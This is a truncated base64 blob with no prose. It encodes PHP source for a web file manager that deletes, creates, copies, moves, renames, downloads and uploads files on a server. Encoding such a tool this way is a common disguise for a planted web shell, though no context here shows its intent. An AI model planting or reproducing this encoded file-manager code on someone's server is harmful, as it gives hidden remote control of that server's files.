GVyXCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZXZlbnRfY2FsbGJhY2soYXJyYXkoXCJmYWlsXCIgPT4gJGVycikpO1xuICAgICAgICB9XG4gICAgfVxuICAgIGV4aXQoKTtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydkZWwnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkZGVsID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoJF9HRVRbJ2RlbCddKSk7XG4gICAgaWYgKCRkZWwgIT0gJycgJiYgJGRlbCAhPSAnLi4nICYmICRkZWwgIT0gJy4nICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICAgICAgfVxuICAgICAgICAkaXNfZGlyID0gaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRkZWwpO1xuICAgICAgICBpZiAoZm1fcmRlbGV0ZSgkcGF0aCAuICdcLycgLiAkZGVsKSkge1xuICAgICAgICAgICAgJG1zZyA9ICRpc19kaXIgPyBsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKSA6IGxuZygnRmlsZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0RlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkaXNfZGlyID8gbG5nKCdGb2xkZXInKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCdub3QgZGVsZXRlZCcpIDogbG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnbm90IGRlbGV0ZWQnKTtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZigkbXNnLCBmbV9lbmMoJGRlbCkpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGZpbGUgb3IgZm9sZGVyIG5hbWUnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ25ld2ZpbGVuYW1lJ10sICRfUE9TVFsnbmV3ZmlsZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgICR0eXBlID0gdXJsZGVjb2RlKCRfUE9TVFsnbmV3ZmlsZSddKTtcbiAgICAkbmV3ID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsIGZtX2NsZWFuX3BhdGgoc3RyaXBfdGFncygkX1BPU1RbJ25ld2ZpbGVuYW1lJ10pKSk7XG4gICAgaWYgKGZtX2lzdmFsaWRfZmlsZW5hbWUoJG5ldykgJiYgJG5ldyAhPSAnJyAmJiAkbmV3ICE9ICcuLicgJiYgJG5ldyAhPSAnLicgJiYgdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdHlwZSA9PSBcImZpbGVcIikge1xuICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCAuICdcLycgLiAkbmV3KSkge1xuICAgICAgICAgICAgICAgIGlmIChmbV9pc192YWxpZF9leHQoJG5ldykpIHtcbiAgICAgICAgICAgICAgICAgICAgQGZvcGVuKCRwYXRoIC4gJ1wvJyAuICRuZXcsICd3Jykgb3IgZGllKCdDYW5ub3Qgb3BlbiBmaWxlOiAgJyAuICRuZXcpO1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGaWxlJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJG5ldywgZmFsc2UpID09PSAkcGF0aCAuICdcLycgLiAkbmV3KSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRm9sZGVyJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygnYWxyZWFkeSBleGlzdHMnKSwgZm1fZW5jKCRuZXcpKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0ZvbGRlcicpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ25vdCBjcmVhdGVkJyksIGZtX2VuYygkbmV3KSksICdlcnJvcicpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICAkY29weSA9IHVybGRlY29kZSgkX0dFVFsnY29weSddKTtcbiAgICAkY29weSA9IGZtX2NsZWFuX3BhdGgoJGNvcHkpO1xuICAgIGlmICgkY29weSA9PSAnJykge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnU291cmNlIHBhdGggbm90IGRlZmluZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICAkZnJvbSA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weTtcbiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkZGVzdCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG4gICAgJGRlc3QgLj0gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKTtcbiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pO1xuICAgICRtb3ZlID0gZm1fY2xlYW5fcGF0aCh1cmxkZWNvZGUoJG1vdmUpKTtcbiAgICBpZiAoJGZyb20gIT0gJGRlc3QpIHtcbiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJ1wvJyAuIGJhc2VuYW1lKCRmcm9tKSwgJ1wvJyk7XG4gICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpO1xuICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdNb3ZlZCBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSk7XG4gICAgICAgICAgICB9IGVsc2VpZiAoJHJlbmFtZSA9PT0gbnVsbCkge1xuICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cycpLCAnYWxlcnQnKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQ29waWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJykgLiAnIDxiPiVzPFwvYj4gJyAuIGxuZygndG8nKSAuICcgPGI+JXM8XC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBpZiAoISRtb3ZlKSB7XG4gICAgICAgICAgICAkbXNnX2Zyb20gPSB0cmltKEZNX1BBVEggLiAnXC8nIC4gYmFzZW5hbWUoJGZyb20pLCAnXC8nKTtcbiAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmcm9tKTtcbiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7XG4gICAgICAgICAgICBpZiAoIWlzX2RpcigkZnJvbSkpIHtcbiAgICAgICAgICAgICAgICAkZXh0ZW5zaW9uX3N1ZmZpeCA9ICcuJyAuICRmbl9wYXJ0c1snZXh0ZW5zaW9uJ107XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAkZm5fZHVwbGljYXRlID0gJGZuX3BhcnRzWydkaXJuYW1lJ10gLiAnXC8nIC4gJGZuX3BhcnRzWydmaWxlbmFtZSddIC4gJy0nIC4gZGF0ZSgnWW1kSGlzJykgLiAkZXh0ZW5zaW9uX3N1ZmZpeDtcbiAgICAgICAgICAgICRsb29wX2NvdW50ID0gMDtcbiAgICAgICAgICAgICRtYXhfbG9vcCA9IDEwMDA7XG4gICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGZuX2R1cGxpY2F0ZSkgJiAkbG9vcF9jb3VudCA8ICRtYXhfbG9vcCkge1xuICAgICAgICAgICAgICAgICRmbl9wYXJ0cyA9IHBhdGhpbmZvKCRmbl9kdXBsaWNhdGUpO1xuICAgICAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXSAuICdcLycgLiAkZm5fcGFydHNbJ2ZpbGVuYW1lJ10gLiAnLWNvcHknIC4gJGV4dGVuc2lvbl9zdWZmaXg7XG4gICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGZuX2R1cGxpY2F0ZSwgRmFsc2UpKSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3BpZWQgZnJvbSA8Yj4lczxcL2I+IHRvIDxiPiVzPFwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJGZuX2R1cGxpY2F0ZSkpKTtcbiAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8XC9iPiB0byA8Yj4lczxcL2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRmbl9kdXBsaWNhdGUpKSwgJ2Vycm9yJyk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddLCAkX1BPU1RbJ2NvcHlfdG8nXSwgJF9QT1NUWydmaW5pc2gnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnSW52YWxpZCBUb2tlbi4nKSwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cbiAgICAkY29weV90b19wYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7XG4gICAgaWYgKCRjb3B5X3RvICE9ICcnKSB7XG4gICAgICAgICRjb3B5X3RvX3BhdGggLj0gJ1wvJyAuICRjb3B5X3RvO1xuICAgIH1cbiAgICBpZiAoJHBhdGggPT0gJGNvcHlfdG9fcGF0aCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnUGF0aHMgbXVzdCBiZSBub3QgZXF1YWwnKSwgJ2FsZXJ0Jyk7XG4gICAgICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgIH1cbiAgICBpZiAoIWlzX2RpcigkY29weV90b19wYXRoKSkge1xuICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKCdVbmFibGUgdG8gY3JlYXRlIGRlc3RpbmF0aW9uIGZvbGRlcicsICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgfVxuICAgICRtb3ZlID0gaXNzZXQoJF9QT1NUWydtb3ZlJ10pO1xuICAgICRlcnJvcnMgPSAwO1xuICAgICRmaWxlcyA9ICRfUE9TVFsnZmlsZSddO1xuICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHtcbiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7XG4gICAgICAgICAgICBpZiAoJGYgIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgICRmcm9tID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJ1wvJyAuICRmO1xuICAgICAgICAgICAgICAgIGlmICgkbW92ZSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVuYW1lID0gZm1fcmVuYW1lKCRmcm9tLCAkZGVzdCk7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuIC